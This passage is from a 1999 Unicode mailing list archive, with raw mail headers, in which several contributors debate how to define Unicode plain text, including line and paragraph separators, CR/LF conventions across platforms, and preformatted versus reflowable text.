(8.9.1a/8.9.1) with SMTP id WAA261196 ; Sun, 4 Jul 1999 22:53:27 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA23597; Sun, 4 Jul 99 22:43:55 -0700 Message-Id: <9907050543.AA23597@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" X-Uml-Sequence: 8405 (1999-07-05 05:43:43 GMT) From: Edward Cherlin To: Unicode List Date: Sun, 4 Jul 1999 22:43:42 -0700 (PDT) Subject: Frank & Ed Evidently my diagnosis, that Frank da Cruz had insufficient experience in a cross-platform environment, was completely wrong, so I apologize for writing it. It puzzles me even more, then, that Frank writes in his Unicode text file proposal as if Unix practice, or more particularly his own practice (including practice in file format conversions in cross-platform data transfers), is normative, not just for other software, but for file formats on other platforms, without saying how this norm is to be implemented so that file format conversion ceases to be a problem for all applications. Also: How do we get agreement on such a standard from, e.g., Microsoft? How do we get users to stop using current methods? How do we deal with delimited database transfer files with a fixed limit on line length? How do we deal with legacy data? I find myself dealing with Unicode text created by Windows and Windows applications quite frequently now, with line ends marked in little-endian fashion as 0D 00 0A 00 What do we do about that? I entirely agree that cross-platform protocols should be defined so that we stop having conversion problems (such as translating text file formats upon transfer, as ftp does), but it can't be done within a character set standard, nor by defining a text file format without file format handling for applications on different platforms. I have had to collect or in some cases write conversion routines for text file transfer, including text files in ASCII, 8-bit character sets, and Unicode. I would much rather have the operating systems do it. If someone can explain to me how Frank's proposal will lead to that desired goal better than Frank's proposal with my suggested amendments, I'll be happy to go along. So can we discuss the issues now? -- Edward Cherlin President Coalition Against Unsolicited Commercial E-mail Help outlaw Spam. Talk to us at 5-Jul-99 9:13:48-GMT,8259;000000000001 Return-Path: Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id FAA19730 for ; Mon, 5 Jul 1999 05:13:47 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with SMTP id CAA258406 ; Mon, 5 Jul 1999 02:01:43 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA25036; Mon, 5 Jul 99 01:46:42 -0700 Message-Id: <9907050846.AA25036@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" X-Uml-Sequence: 8410 (1999-07-05 08:46:30 GMT) From: Edward Cherlin To: Unicode List Cc: unicode@unicode.org Date: Mon, 5 Jul 1999 01:46:28 -0700 (PDT) Subject: Re: Plain Text At 10:51 -0700 7/4/1999, Frank da Cruz wrote: [Ed Cherlin wrote:] >> I conclude that I disagree with Frank's attempts to make his own limited >> experience normative... [snip] I withdraw the remark, in view of other information received, and the answers to my objections which Frank has provided, like the next. [Frank] >> >So who cares what the file format is -- except of course when we want to >> >transfer the file to another platform. >> > >> >In that case, it is the >> >responsibility of each file-transfer agent >> [Ed] >> When reading floppy disks? >> [Frank] >Of course. One of the biggest problems facing any of us who wishes to live >in a world of computing diversity is the failure of file system designers to >develop a rational method for tagging files, and indeed, for developing >standard interchange formats. That's what we're trying to do here. > >Consider a minimal platform like DOS. You can set up your DOS system to >load different code pages, such as CP850 for West European languages, CP866 >for Cyrillic, and so on. Then you can use standard DOS utilities to create >and edit text files in many languages (but only one per file). However, no >record is kept of the encoding (character set) of each file. This presents >rather significant problems even when we stay on the PC, before we ever >think about interchanging files. > >So at minimum, a text file should be tagged according to character set. To >my knowledge, this has never been done at the file-system level. > >What about file type and record format? Data interchange can be done in >various ways. One way involves cooperating agents at each end -- e.g. FTP >client and server. They can use their own application-specific protocol >to control the process. For example, one can say ""I'm DOS"" and the other >""I'm UNIX"" and then apply the appropriate conversions. Of course as >platforms multiply, we have an n x n problem. Therefore we settle upon >standard formats to be used on the wire. Each transfer partner converts to >and from these standard formats. > >Moving files by magnetic media present numerous problems, but only because >we have forgotten how to do it. Back in the 1970s, ANSI developed standards >for data interchange by magnetic media (e.g. ANSI X3.26-1978) that worked >perfectly well until the personal computer revolution came along and >standards went out of style. A DOS (or Macintosh or IRIX or any other) >diskette is simply not intended for export to other platforms. > >This is the kind of situation we would like to avoid in the future. Hence >this discussion. > >> You are still claiming that text files as they occur in your computer >> subculture are for some reason normative for the rest of us. >> >Actually I am attempting to achieve an agreement a precise definition of >Unicode plain text that allows the text to be already formatted, one that >gives us the same capability that we have always had with ASCII (and Latin-x >etc) of encoding and presenting information without *requiring* the use of >any higher intelligence beyond what is needed to interpret Space, LS, PS, >HT, and FF characters, plus whatever else is needed to accommodate bidi, >etc. [snip] [Frank] >> >Whether I want my email >> >reformatted by your client should be my choice, since only I know what my >> >intentions are in sending it. ^^^^^^^^^ >> >> However, it actually is the recipient's choice, and you can't stop us. >> >This sounds like quibbling but it's an important point. If I have the >capability to compose and format a plain-text message exactly as I want you >to see it, the mail system should allow me to mark it as ""preformatted plain >text"" and then you would have to go out of your way to reformat it. Whereas >if my mail client sends long lines with no formatting, it should mark it as >""plain text to be flowed"". This is the key point for me. You acknowledge the need for flavors of text other than your preformatted plain text. I thought you were holding out for one flavor only. Now we can discuss the flavors, such as delimited database interchange files with lines of arbitrary length. Presumably we can define them using some of the apparatus that is becoming available in XML or as MIME data types. Would it make sense, then, to create a formal XML definition of plain text files, with a leading BOM, no interpretations for any tags, the minimum set of control characters, and the appropriate set of transformation formats? That would get around my earlier objection, about how to make an implementation available on all platforms. What about corresponding MIME types? >Email issues, especially MIME, are a whole new topic, and a controversial >one, best avoided here. But a clear statement from the Unicode Consortium >on plain text that addresses the issue of formatting might motivate the >""email community"" to deal with these issues in a productive way. > >> A growing number of standards specify the use of Unicode text files, >> without explicitly defining them. If we get anywhere with this, we will >> have to run our proposal past these other groups, including the IETF, the >> POSIX committee, programming language standards committees, etc. >> >Good. Let's try to keep making progress. > >We all have an intuitive grasp of the meaning of preformatted plain text. >You'll find it in many places: > > . READ.ME files on your software disks. Preformatted or reflowable. > . Program source code. Preformatted. > . Traditional (not ""legacy"") email and netnews. There is presently no way to specify preformatted or reflowable. > . Voluminous full-text information already online. Including Unicode tables and other database interchange formats. >and so on. We should find a way to carry this notion forward for Unicode >in a way that: > > . Avoids the pitfalls of platform-dependent formatting conventions. > > . Allows straightforward and unambiguous conversion of 8-bit data to > Unicode (and, to the extent possible, vice-versa). > > . Is independent of any higher-level protocol, markup language, > product, or even standard. In other words, the Unicode definition > should stand entirely on its own so that files encoded (or transmitted) > in this format will be universally understood for years, decades, > centuries to come, no matter what else might change, as long as Unicode > itself lives on. Hear, hear. >- Frank To summarize your answer to my objections, we are defining a new format independent of previous conventions, in which we can specify usage of the minimal set of formatting characters regardless of usage in text files of 7-bit ASCII and 8-bit character sets of any kind, while allowing for a few variant flavors of text, such as preformatted, reflowable, and database. To which I add, that we can specify a portable implementation, too, and not have to wait for computer and OS vendors to get on board. Well, apparently there are no hard feelings from Frank over my earlier harsh words, so perhaps nobody else need be offended on his behalf. In case anybody missed it elsewhere, I apologize for misunderstanding Frank, and for giving the impression that I was attacking him personally. -- Edward Cherlin President Coalition Against Unsolicited Commercial E-mail Help outlaw Spam. Talk to us at 5-Jul-99 9:30:53-GMT,1554;000000000001 Return-Path: Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id FAA21152 for ; Mon, 5 Jul 1999 05:30:53 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with SMTP id CAA93992 ; Mon, 5 Jul 1999 02:23:20 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA25135; Mon, 5 Jul 99 02:04:54 -0700 Message-Id: <9907050904.AA25135@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" X-Uml-Sequence: 8411 (1999-07-05 09:04:46 GMT) From: Michael Everson To: Unicode List Date: Mon, 5 Jul 1999 02:04:44 -0700 (PDT) Subject: Re: Plain Text Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by watsun.cc.columbia.edu id FAA21152 Ar 10:51 -0700 1999-07-04, scr�obh Frank da Cruz: >Moving files by magnetic media present numerous problems, but only because >we have forgotten how to do it. Oh, is that the reason? I thought it was a Y2K thing, that on January 1 all the magnetic tapes would go ""fzzzzzzzzzzst!"" like in Mission Impossible. Frivolously, -- Michael Everson * Everson Gunn Teoranta * http://www.indigo.ie/egt 15 Port Chaeimhghein �ochtarach; Baile �tha Cliath 2; �ire/Ireland Guth�n: +353 1 478 2597 ** Facsa: +353 1 478 2597 (by arrangement) 27 P�irc an Fh�ithlinn; Baile an Bh�thair; Co. �tha Cliath; �ire 5-Jul-99 14:53:48-GMT,1211;000000000001 Return-Path: Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id KAA24315 for ; Mon, 5 Jul 1999 10:53:48 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with SMTP id HAA278358 ; Mon, 5 Jul 1999 07:44:56 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA29395; Mon, 5 Jul 99 07:31:40 -0700 Message-Id: <9907051431.AA29395@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Uml-Sequence: 8426 (1999-07-05 14:31:31 GMT) From: Peter_Constable@sil.org To: Unicode List Date: Mon, 5 Jul 1999 07:31:30 -0700 (PDT) Subject: NLF (was Frank and Ed, was Plain Text) Content-Transfer-Encoding: 7bit >I find myself dealing with Unicode text created by Windows and Windows applications quite frequently now, with line ends marked in little-endian fashion as 0D 00 0A 00 Indeed, this practice has surprised me. Chris Pratley: can you comment on why Word 97 does this rather than using PS? Peter 5-Jul-99 15:00:09-GMT,3951;000000000001 Return-Path: Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id LAA25531 for ; Mon, 5 Jul 1999 11:00:09 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with SMTP id HAA187530 ; Mon, 5 Jul 1999 07:46:42 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA29478; Mon, 5 Jul 99 07:33:11 -0700 Message-Id: <9907051433.AA29478@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Uml-Sequence: 8427 (1999-07-05 14:32:44 GMT) From: Peter_Constable@sil.org To: Unicode List Date: Mon, 5 Jul 1999 07:32:43 -0700 (PDT) Subject: Re: Plain Text Content-Transfer-Encoding: 7bit >Of course. One of the biggest problems facing any of us who wishes to live in a world of computing diversity is the failure of file system designers to develop a rational method for tagging files, and indeed, for developing standard interchange formats. That's what we're trying to do here. .. >What about file type and record format?... >Actually I am attempting to achieve an agreement a precise definition of Unicode plain text that allows the text to be already formatted, one that gives us the same capability that we have always had with ASCII (and Latin-x etc) of encoding and presenting information without *requiring* the use of any higher intelligence beyond what is needed to interpret Space, LS, PS, HT, and FF characters... I find myself in agreement with Ken W's comments a few messages back. I'm also inclined to say that you are wanting to define (in effect) a MIME type, and that part of the confusion / disagreement that has arisen in this thread comes about by calling this type ""plain text"". You want a file that is tagged with null markup to be interpreted in a specific way (as a text document as opposed, e.g. to a database) and with specific layout formatting. As was pointed out in an earlier message, and as we are all familiar with, sometime files that contain only text characters and no tagging are used for purposes other than this, such as the CSV database. Also, there are times when I've had such text files in which I intend all of the text that exists between instances of { BOF, EOF, NLF } to appear on a single line, regardless of length (e.g. in source code), and other times when I expect it to wrap to whatever width is appropriate for the window in which it is viewed. All of these are legitimate things to want to be able to do with a file in this format that we have always known as ""plain text"". Neither the intended meaning of the content, nor the intended appearance have ever been part of the definition of plain text. Thus, I think you should expect some objection to any suggestion that ""plain text"" should refer to a file that is intended to be interpreted in a specific way, i.e. as a text document with specific layout formatting. Plain text can be neither more nor less than what is has always been. As we apply plain text to the Unicode context, Ken's comments were on the mark. That is not to say that it isn't reasonable, or desireable, to specify a file format to be used for text documents with specific layout formatting such that it will always appear as the author intended, and such that no markup is used beyond a standard interpretation of the characters (separating this file format from others such as PDF). We'd all benefit from it, if an agreement can be made. I just think that we may need to call it something else. And this is what Frank has acknowledged, though he may not have done so consciously: >the mail system should allow me to mark it as ""preformatted plain text"" We're not just talking about plain text here, we're talking about a specific kind of plain text. Peter 5-Jul-99 17:04:57-GMT,7653;000000000001 Return-Path: Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id NAA24261 for ; Mon, 5 Jul 1999 13:04:57 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with SMTP id KAA246240 ; Mon, 5 Jul 1999 10:00:25 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA01854; Mon, 5 Jul 99 09:45:38 -0700 Message-Id: <9907051645.AA01854@unicode.org> Errors-To: uni-bounce@unicode.org X-Uml-Sequence: 8434 (1999-07-05 16:45:27 GMT) From: Frank da Cruz To: Unicode List Cc: Unicode List Date: Mon, 5 Jul 1999 09:45:26 -0700 (PDT) Subject: Re: Plain Text [Ed wrote...] > It puzzles me even more, then, that Frank writes in his Unicode text > file proposal as if Unix practice, or more particularly his own practice > (including practice in file format conversions in cross-platform data > transfers), is normative, not just for other software, but for file > formats on other platforms, without saying how this norm is to be > implemented so that file format conversion ceases to be a problem for > all applications. > I'll try to be more explicit. Whether we know it or not, text interchange methods are well-established in the pre-Unicode world, at least at the record-format level (character sets are another matter, but we know that). When I sit at my { terminal, terminal emulator, xterm window } and tell the host to ""type"" or ""cat"" a file, the internal text format is translated to the de facto canonical one, primarily that the local convention for line separation/termination is translated to CRLF. When I transfer a text file with FTP or any other file transfer protocol I know about, the same thing happens (see, e.g. RFC959). However, many of us are confused by the fact that local conventions differ, and perceive this as an obstacle to interchange because, for example, it is difficult to read a PC diskette on a UNIX workstation or a Macintosh, or because of the increasing amounts of email we get that uses some encoding or format we don't understand. These are problems that we have an opportunity to solve in the conversion of 8-bit text to Unicode. > How do we get agreement on such a standard from, e.g., Microsoft? > Hopefully Microsoft's representatives to the Unicode Consortium will be supportive, as some of the commentary already seems to indicate. > How do we get users to stop using current methods? > We don't have to. If the Unicode Standard defines what plain text is, then conversion of 8-bit text to Unicode will put all the divergent platform-specific formats into the same Unicode format. > How do we deal with delimited database transfer files with a fixed > limit on line length? > I don't see how these files would be affected. You can put line separators in them if you want, or leave them out. > How do we deal with legacy data? > How do convert existing 7-bit and 8-bit plain-text files to Unicode plain text? The straightforward conversion is: . Source line -> Destination line terminated by LS. This is according to whatever the local definition of ""line"" is (UNIX, Macintosh, DOS, VMS, MVS, ...). And of course: . Source character set converted to Unicode. This seems obvious. C0 control characters are kept, including Horizontal Tab and Form Feed. C1 control characters are kept if the source character set has them (e.g. a Latin Alphabet) and translated otherwise (e.g. CP850). Additional wrinkles (options) might include: . Tabs expanded to spaces based on the desired tab stops, which should be 1,9,17,35,... BY DEFAULT (meaning you can supply your own tab stops). . Heuristics might be used to identify paragraphs and to separate them by Paragraph Separator. For example, a blank line is replaced by PS. Obviously there are pitfalls. . Any conversion program would probably need an option to deal with files with ""word processor"" record format, in which a line is really a paragraph. > I find myself dealing with Unicode text created by Windows and Windows > applications quite frequently now, with line ends marked in > little-endian fashion as > > 0D 00 0A 00 > > What do we do about that? > I would say that this practice should be discouraged (""be conservative in what you 'send'"") in any application that creates or saves Unicode text files. But it should be allowed for (""be liberal in what you 'receive'"") in any conversion/import program. > I entirely agree that cross-platform protocols should be defined so that > we stop having conversion problems (such as translating text file formats > upon transfer, as ftp does), but it can't be done within a character set > standard, nor by defining a text file format without file format handling > for applications on different platforms. > I don't think anybody can presume to offer a panacea for differing application formats, other than to define a text-file format that can be used for export/import/interchange, as we have now with most popular applications. We simply need to extend this idea to Unicode. > I have had to collect or in some cases write conversion routines for text > file transfer, including text files in ASCII, 8-bit character sets, and > Unicode. I would much rather have the operating systems do it. > The operating system doesn't know what format or encoding is used in a file. It would be nice if this information was saved along with the file, but it usually isn't. If, in the transition to an all-Unicode computing environment, we specify not only the encoding but also a standard record format for interchange of plain text -- including (but not requiring) preformatted plain text -- we won't have to worry about operating systems, file systems, or presentation-layer issues in text-file transfer ever again. Obviously we will always have to worry about format conversions between applications that do NOT use plain text data files. But by defining a low-level baseline format for plain text, there will always be a method for recording and transmitting textual information that rises above (""sinks below"") those differences, and that can always be used across platforms, distance, and time. > ... You acknowledge the need for flavors of text > other than your preformatted plain text. I thought you were holding out > for one flavor only. Now we can discuss the flavors, such as delimited > database interchange files with lines of arbitrary length. Presumably we > can define them using some of the apparatus that is becoming available in > XML or as MIME data types. > No, thase are higher-level protocols that will go out of fashion some day, probably sooner than you think. Of course you can define or use all the higher level protocols you want, but you should bear in mind they are ephemeral. If you want something that lasts forever, do it in Unicode without reference to MIME, *ML, or anything else, and keep it extremely simple. > To summarize your answer to my objections, we are defining a new format > independent of previous conventions, in which we can specify usage of the > minimal set of formatting characters regardless of usage in text files of > 7-bit ASCII and 8-bit character sets of any kind, while allowing for a few > variant flavors of text, such as preformatted, reflowable, and > database. > Yes. > To which I add, that we can specify a portable implementation, > too, and not have to wait for computer and OS vendors to get on board. > Double yes. - Frank 5-Jul-99 18:06:41-GMT,4435;000000000001 Return-Path: Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id OAA08662 for ; Mon, 5 Jul 1999 14:06:40 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with SMTP id LAA185694 ; Mon, 5 Jul 1999 11:02:46 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA02161; Mon, 5 Jul 99 10:50:02 -0700 Message-Id: <9907051750.AA02161@unicode.org> Errors-To: uni-bounce@unicode.org X-Uml-Sequence: 8435 (1999-07-05 17:49:51 GMT) From: Frank da Cruz To: Unicode List Cc: Unicode List Date: Mon, 5 Jul 1999 10:49:50 -0700 (PDT) Subject: Re: Plain Text [Peter wrote] > I find myself in agreement with Ken W's comments a few messages back. I'm > also inclined to say that you are wanting to define (in effect) a MIME > type, and that part of the confusion / disagreement that has arisen in > this thread comes about by calling this type ""plain text"". > I most emphatically do not want to define a MIME type, because MIME will disappear some day but Unicode will last forever (if we do it right). > You want a file that is tagged with null markup to be interpreted in a > specific way (as a text document as opposed, e.g. to a database) and with > specific layout formatting. As was pointed out in an earlier message, and > as we are all familiar with, sometime files that contain only text > characters and no tagging are used for purposes other than this, such as > the CSV database. Also, there are times when I've had such text files in > which I intend all of the text that exists between instances of { BOF, > EOF, NLF } to appear on a single line, regardless of length (e.g. in > source code), and other times when I expect it to wrap to whatever width > is appropriate for the window in which it is viewed. > All of that is fine. I'm only proposing that we codify existing practice. If Unicode has a Line Separator (and it does), then if I put it in a file, it should serve its purpose. Ditto for Paragraph Separator. Ditto for C0 HT and FF (even though those purposes might be ill-defined), in the absence of ""native"" Unicode replacements for them. I agree that marking a ""plain-text"" stream as ""preformatted"" or ""to be flowed"" is a higher-level issue. However, we must also agree that plain text CAN be preformatted and not ALWAYS flowed, and that Unicode already contains the mechanisms to do it. > All of these are legitimate things to want to be able to do with a file in > this format that we have always known as ""plain text"". Neither the > intended meaning of the content, nor the intended appearance have ever > been part of the definition of plain text. Thus, I think you should expect > some objection to any suggestion that ""plain text"" should refer to a file > that is intended to be interpreted in a specific way, i.e. as a text > document with specific layout formatting. Plain text can be neither more > nor less than what is has always been. As we apply plain text to the > Unicode context, Ken's comments were on the mark. > > That is not to say that it isn't reasonable, or desireable, to specify a > file format to be used for text documents with specific layout formatting > such that it will always appear as the author intended, and such that no > markup is used beyond a standard interpretation of the characters > (separating this file format from others such as PDF). We'd all benefit > from it, if an agreement can be made. I just think that we may need to > call it something else. > ""Preformatted plain text""? It's not catchy but I think it says what it means. > I certainly empathise with a desire to have a standard for preformatted > plain text. Here's the first paragraph of something in a message sent to > me recently. > Yes, ""fractured plain text"" comes from a flawed conversion algorithm, e.g. when pasting from a web page into an email window (a ""double-ended break"" in this case: misinterpretation of the left margin as leading spaces by the copier and gratuitous word wrapping by the paster). Obviously that's an application issue. However, I do believe that if we can establish a baseline for preformatted plain text, makers of such applications will have a better idea of how to interchange text. - Frank 5-Jul-99 20:45:18-GMT,3272;000000000001 Return-Path: Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id QAA14621 for ; Mon, 5 Jul 1999 16:45:17 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with SMTP id NAA243178 ; Mon, 5 Jul 1999 13:39:10 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA04382; Mon, 5 Jul 99 13:21:31 -0700 Message-Id: <9907052021.AA04382@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7BIT X-Uml-Sequence: 8444 (1999-07-05 20:20:07 GMT) From: ""Jonathan Coxhead"" To: Unicode List Date: Mon, 5 Jul 1999 13:20:06 -0700 (PDT) Subject: Re: Plain text: Amendment 1 Content-Transfer-Encoding: 7BIT | As noted previously, I would not object to adding two more ""control | characters"" to Unicode to remove our dependence on C0 and C1 | completely: | | 1. UHT ""Unicode Horizontal Tab"", which is just like C0 HT except | that | the tabstops are well-defined (should the tabbing concept be | carried forward into Unicode Plain Text, rather than using only | spaces). How to define them is, of course, another question. My thoughts on this indicate that explicit tab widths are not appropriate: the only real requirement for plain text is that the columns line up. So we could have a character COLUMN SEPARATOR (CSEP) to go with LINE SEPARATOR (LSEP) and PARAGRAPH SEPARATOR (PSEP). It should interact with these as follows. ""Within a paragraph that contains a CSEP, each LSEP-delimited line represents a row of a table. The table has as many columns as the maximum number of CSEP characters in any line. Each column should be wide enough to accommodate the longest column-contents in any line in that column. No inter-column spacing is provided: if there is to be space between columns, one column or the other must contain explicit space chatacters."" So the general form of a table would be PSEP ... CSEP ... CSEP ... LSEP ... CSEP ... LSEP ... CSEP ... CSEP ... PSEP An unsophisticated renderer may choose to render CSEP as a tab to an 8-column tab stop, and this may often give acceptable results. | Whatever is chosen, let's keep it simple. This is simple to define, but not to render. Also, it doesn't give control over left/right/centre justifying each column. If this is important, I suppose the solution would be a SPACE FILL character, like \\hfil in TeX, which (when occuring in a table, i e, a paragraph with at least one CSEP character) provides enough space to pad the entry it appears in to the full width available. This would allow a column to be right-justified (start all entries with SPACE FILL), centre-justified (put a SPACE FILL character before and after the entries), or even justified on a particular character, e g, the decimal point FULL STOP (break it into 2 columns, by writing CSEP, FULL STOP instead of FULL STOP, and right-justify the first, left-justify the second). /| o o o (_|/ /| (_/ 5-Jul-99 22:33:53-GMT,1510;000000000011 Return-Path: Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id SAA10623 for ; Mon, 5 Jul 1999 18:33:51 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with SMTP id PAA200950 ; Mon, 5 Jul 1999 15:23:09 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA06878; Mon, 5 Jul 99 15:07:37 -0700 Message-Id: <9907052207.AA06878@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Uml-Sequence: 8453 (1999-07-05 22:07:14 GMT) From: keld@dkuug.dk To: Unicode List Date: Mon, 5 Jul 1999 15:07:08 -0700 (PDT) Subject: Re: Plain text: Amendment 1 On Mon, Jul 05, 1999 at 03:16:01AM -0700, keld@dkuug.dk wrote: > 3) could be something like one out of 3: > > 1. CR > 2. LF > 3. CR LF To clarify: I think ""line break"" could follow the conventions currently in use on the Internet: Accept all of the three above forms, but only generate one form, preferably the CR LF sequence. It seems like the Internet is going to standardize on UTF-8, and as UTF-8 encodes C0 as a single octet, I think there would be much sense in chosing a C0 sequence for the ""line break"" function. I think the paragraph break could then be chosen as one of the C0 Information separators, possibly the Record Separator aka control-^ . Just my 2 eurocent Keld 5-Jul-99 22:58:31-GMT,2280;000000000001 Return-Path: Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id SAA15543 for ; Mon, 5 Jul 1999 18:58:31 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with SMTP id PAA199038 ; Mon, 5 Jul 1999 15:54:19 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA08168; Mon, 5 Jul 99 15:43:35 -0700 Message-Id: <9907052243.AA08168@unicode.org> Errors-To: uni-bounce@unicode.org X-Uml-Sequence: 8457 (1999-07-05 22:43:27 GMT) From: Frank da Cruz To: Unicode List Cc: unicode@unicode.org Date: Mon, 5 Jul 1999 15:43:26 -0700 (PDT) Subject: Re: Plain text: Amendment 1 > On Mon, Jul 05, 1999 at 03:16:01AM -0700, keld@dkuug.dk wrote: > > 3) could be something like one out of 3: > > > > 1. CR > > 2. LF > > 3. CR LF > > To clarify: I think ""line break"" could follow the conventions > currently in use on the Internet: Accept all of the three above forms, > but only generate one form, preferably the CR LF sequence. > > It seems like the Internet is going to standardize on UTF-8, > and as UTF-8 encodes C0 as a single octet, I think there would be > much sense in chosing a C0 sequence for the ""line break"" function. > > I think the paragraph break could then be chosen as one of > the C0 Information separators, possibly the Record Separator > aka control-^ . > I think the problem with this idea is that if we look at a Unicode text file and see CR and/or LF in it, we don't know if those characters came from the private text format of a 7- or 8-bit file that was converted to Unicode without any record-format conversion, or if they are the ""Unicode"" CR and LF. Therefore this would only move the problem of incompatible record formats from the old world (of DOS, Windows, UNIX, Macintosh) to the new one. It's better to have Unicode characters LS and PS (and I think also Tab/Column-Separator and Page Separator) than to recycle the C0 controls. This ensures round-trip integrity without having to know the history of the data (""it came originally from DOS so to convert it from Unicode to UNIX we need to..."") - Frank 5-Jul-99 23:12:00-GMT,1857;000000000001 Return-Path: Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id TAA18562 for ; Mon, 5 Jul 1999 19:11:58 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with SMTP id QAA198948 ; Mon, 5 Jul 1999 16:05:19 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA08383; Mon, 5 Jul 99 15:51:57 -0700 Message-Id: <9907052251.AA08383@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Uml-Sequence: 8458 (1999-07-05 22:51:42 GMT) From: Otto Stolz To: Unicode List Date: Mon, 5 Jul 1999 15:51:36 -0700 (PDT) Subject: Re: Plain Text Am 1999-07-01 um 13:00 h hat Otto Stolz geschrieben: > In MS-DOS (or PC-DOS and other DOS variants) on the PC, it is not > well defined, at all: [...] > - '09'x (HT) means either a tabulator [...] or a line-break, I am no more sure about the HT used as a line-break in plain text. It is indeed used in an internal Word-format (Word 2.0 for DOS, and perhaps in later versions) for this purpose, but I haven't kept an old Word implementation, so I cannot check Word's input conversion from plain text to this format. Current Word for Windows input conversions from plain text interpret some C0 characters thus (checked with Word 97): '09'x (TAB) tabulator '0A'x (LF) paragraph break '0B'x (VT) line break '0C'x (FF) page break '0D'x (CR) ignored '0E'x (SO) [sic!] column break Still, my main point holds: In MS-DOS, plain text is not well defined, as there are wide variations in the usage and meaning of several controll characters. Best wishes, Otto Stolz 6-Jul-99 3:34:39-GMT,2640;000000000001 Return-Path: Received: from proxy4.ba.best.com (proxy4.ba.best.com [206.184.139.15]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id XAA04624 for ; Mon, 5 Jul 1999 23:34:25 -0400 (EDT) Received: from macchiato.com (dynamic45.pm03.mv.best.com [209.24.240.173]) by proxy4.ba.best.com (8.9.3/8.9.2/best.out) with ESMTP id UAA22744; Mon, 5 Jul 1999 20:32:14 -0700 (PDT) Message-ID: <37817931.41860B@macchiato.com> Date: Mon, 05 Jul 1999 20:34:09 -0700 From: Mark Davis X-Mailer: Mozilla 4.6 [en] (Win98; U) X-Accept-Language: en,de-CH,fr-CH,it MIME-Version: 1.0 To: Frank da Cruz CC: Unicode List Subject: Re: Plain text: Amendment 1 References: <9907052243.AA08164@unicode.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit A lot of the discussion of line termination relates to technical report #13. Any suggestions for additional information for that report would be welcome. (http://www.unicode.org/unicode/reports/tr13/) Mark Frank da Cruz wrote: > > On Mon, Jul 05, 1999 at 03:16:01AM -0700, keld@dkuug.dk wrote: > > > 3) could be something like one out of 3: > > > > > > 1. CR > > > 2. LF > > > 3. CR LF > > > > To clarify: I think ""line break"" could follow the conventions > > currently in use on the Internet: Accept all of the three above forms, > > but only generate one form, preferably the CR LF sequence. > > > > It seems like the Internet is going to standardize on UTF-8, > > and as UTF-8 encodes C0 as a single octet, I think there would be > 